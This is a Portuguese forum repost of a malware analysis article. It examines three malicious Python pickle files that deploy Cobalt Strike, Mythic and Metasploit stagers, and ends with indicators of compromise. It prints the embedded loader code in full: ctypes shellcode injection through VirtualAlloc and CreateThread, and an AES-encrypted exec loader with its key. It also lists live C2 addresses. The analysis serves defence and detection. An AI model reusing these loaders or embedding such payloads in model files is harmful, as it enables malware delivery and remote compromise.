COVIL HACKER

, ! .


» COVIL HACKER » rachaduras/inversão » Artigo Descompilando e analisando arquivos pickle


Artigo Descompilando e analisando arquivos pickle

1 2 2

1

ou seja, pickle.

Logo após a publicação, várias pessoas nos contataram para ver se havíamos notado invasores usando o formato pickle para injetar malware e, como se viu, foi esse o caso. Nesta postagem de acompanhamento, examinamos três arquivos pickle maliciosos usados ​​para implantar Cobalt Strike, Metasploit e Mythic, respectivamente, todos os quais foram carregados em repositórios públicos nos últimos meses. Oferecemos uma breve análise desses arquivos para mostrar como esse vetor de ataque é usado ativamente na natureza.

Cobalt Strike Stager

SHA256: 391f5d0cefba81be3e59e7b029649dfb32ea50f72c4d51663117fdd4d5d1e176

O primeiro arquivo pickle malicioso (serializado usando o protocolo pickle versão 3) foi carregado em janeiro de 2022 e usa a função exec integrada do Python para executar um script Python incorporado. O script depende da biblioteca ctypes para chamar APIs do Windows, como VirtualAlloc e CreateThread. Portanto, ele injeta e executa o shellcode do estágio Cobalt Strike de 64 bits. Usamos um pickle "desmontador" simples baseado no código do Kaitai Struct ( http://formats.kaitai.io/python_pickle/ ) para destacar os opcodes usados ​​para executar cada carga útil:

\x80 proto: 3
\x63 global_opcode: builtins exec
\x71 binput: 0
\x58 binunicode:
import ctypes,urllib.request,codecs,base64
AbCCDeBsaaSSfKK2 = "WEhobVkxeDRORGhj" // shellcode, truncated for readability
AbCCDe = base64.b64decode(base64.b64decode(AbCCDeBsaaSSfKK2))
AbCCDe =codecs.escape_decode(AbCCDe)[0]
AbCCDe = bytearray(AbCCDe)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(AbCCDe)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(AbCCDe)).from_buffer(AbCCDe)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(AbCCDe)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
\x71 binput: 1
\x85 tuple1
\x71 binput: 2
\x52 reduce
\x71 binput: 3
\x2e stop

O shellcode codificado em base64 deste exemplo se conecta a --[.]210/Swb1 com uma string exclusiva User-Agent Mozilla/5.0 (compatível; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP09; NP09; MAAU)


https://forumupload.ru/uploads/001b/c9/09/2/t592570.png


O IP codificado neste shellcode aparece em vários feeds em conexão com a atividade CobaltStrike; vários stagers CobaltStrike diferentes foram vistos neste IP, e o beacon DLL que já foi hospedado lá tem uma marca d'água associada a muitos grupos cibercriminosos, incluindo TrickBot/SmokeLoader, Nobelium e APT29.


https://forumupload.ru/uploads/001b/c9/09/2/t937498.png

Mythic Stager

SHA256: 806ca6c13b4abaec1755de209269d06735e4d71a9491c783651f48b0c38862d5

A segunda amostra (serializada usando o protocolo pickle versão 4) apareceu na natureza em julho de 2022. É bastante semelhante ao primeiro, pois usa a biblioteca ctypes para carregar e executar o shellcode do stager Cobalt Strike de 32 bits.


\x80 proto: 4
\x95 frame: 5397
\x8c short_binunicode: builtins
\x94 memoize
\x8c short_binunicode: exec
\x94 memoize
\x93 stack_global
\x94 memoize
\x58 binunicode:
import base64
import ctypes
import codecs
shellcode= "" // removed for readability
shellcode = base64.b64decode(shellcode)
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

\x94 memoize
\x85 tuple1
\x94 memoize
\x52 reduce
\x94 memoize
\x2e stop

Nesse caso, o shellcode se conecta a 43.142.60[.]207:9091/7Iyc com User-Agent definido como Mozilla/4.0 (compatível; MSIE 7.0; Windows NT 6.0)

https://forumupload.ru/uploads/001b/c9/09/2/t825049.png

Um endereço IP codificado foi mencionado recentemente no relatório da equipe Cymru sobre a estrutura Mythic C2. O Mythic é uma plataforma de pós-exploração "red team" baseada em Python e uma alternativa de código aberto ao Cobalt Strike. Ao direcionar o valor E-Tag que está presente nos cabeçalhos HTTP das solicitações associadas ao Mythic, os pesquisadores do Team Cymru conseguiram encontrar uma lista de endereços IP que provavelmente estavam associados ao Mythic - e esse endereço IP era um deles. Curiosamente, há pouco mais de 4 meses (agosto de 2022), a Mythic apresentou o módulo pickle wrapper, que permite injetar um agente C2 em um modelo de aprendizado de máquina serializado em pickle! Isso significa que alguns testes já estão olhando para os modelos de ML como um vetor de ataque. Porém, sabe-se que o Mythic é utilizado não apenas nas atividades dos "times vermelhos",

Metasploit Stager

SHA256: 9d11456e8acc4c80d14548d9fc656c282834dd2e7013fe346649152282fcc94b

Esta amostra apareceu como favicon.ico em meados de novembro de 2022 e é um pouco mais ofuscada do que as duas amostras anteriores. A função de injeção de shellcode é criptografada em AES-ECB com uma frase secreta codificada hello_i_4m_cc_12. O próprio shellcode é calculado usando uma grande operação aritmética int e contém um invólucro Metasploit reverse-tcp que se conecta ao IP 1.15.8.106 codificado permanentemente na porta 6666.

\x80 proto: 3
\x63 global_opcode: builtins exec
\x71 binput: 0
\x58 binunicode:
import subprocess
import os
import time
from Crypto.Cipher import AES
import base64
from Crypto.Util.number import *
import random
while True:   
    ret = subprocess.run("ping baidu.com -n 1", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    if ret.returncode==0:
        key=b'hello_i_4m_cc_12'
        a2=b'p5uzeWCm6STXnHK3 [...]' // truncated for readability
        enc=base64.b64decode(a2)
        ae=AES.new(key,AES.MODE_ECB)
        num2=9287909549576993 [...] // truncated for readability
        num1=(num2//888-777)//666
        buf=long_to_bytes(num1)
        exec(ae.decrypt(enc))
    elif ret.returncode==1:
        time.sleep(60)

\x71 binput: 1
\x85 tuple1
\x71 binput: 2
\x52 reduce
\x71 binput: 3
\x2e stop

O código de injeção decodificado é muito semelhante ao que foi observado anteriormente: as APIs do Windows são chamadas por meio da biblioteca ctypes para injetar a carga útil na memória executável e executá-la por meio de um novo thread.

import ctypes
shellcode = bytearray(buf)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c

O shellcode decodificado acabou sendo um stager de TCP reverso de 64 bits:

https://forumupload.ru/uploads/001b/c9/09/2/t704632.png

O IP está localizado na China e estava atuando como um servidor C2 para o Cobalt Strike em outubro de 2022, de acordo com vários rastreadores do Cobalt Strike.

achados

Embora não possamos ter 100% de certeza de que os arquivos pickle maliciosos descritos foram usados ​​em ataques reais (porque não temos informações contextuais), nossos resultados provam conclusivamente que os adversários já estão considerando esse vetor de ataque como uma forma de distribuir malware. Os endereços IP nas amostras acima foram usados ​​em outros malwares, incluindo várias instâncias de Cobalt Strike e Mythic stagers, sugerindo que esses shellcodes serializados em picles não faziam parte da pesquisa ou atividade legítima da equipe vermelha. Como alguns frameworks para pós-exploit e a chamada "emulação adversária" começam a suportar esse vetor de ataque, é apenas uma questão de tempo até vermos um aumento no número de tais ataques.

Reunimos um conjunto de regras YARA para detectar arquivos pickle maliciosos/suspeitos que podem ser encontrados no repositório público BitBucket HiddenLayer .

indicadores de compromisso

indicador tipo Descrição
391f5d0cefba81be3e59e7b029649dfb32ea50f72c4d51663117fdd4d5d1e176 SHA256 Estagiário Cobalt Strike
806ca6c13b4abaec1755de209269d06735e4d71a9491c783651f48b0c38862d5 SHA256 Palco Mítico
9d11456e8acc4c80d14548d9fc656c282834dd2e7013fe346649152282fcc94b SHA256 Metasploit Stager
121.199.68[.]210 IP Estagiário Cobalt Strike
43.142.60[.]207 IP Palco Mítico
1.15.8[.]106 IP Metasploit Stager





ARTIGO ORIGINAL     https://hiddenlayer.com/research/pickle … troduction

0

2


» COVIL HACKER » rachaduras/inversão » Artigo Descompilando e analisando arquivos pickle


|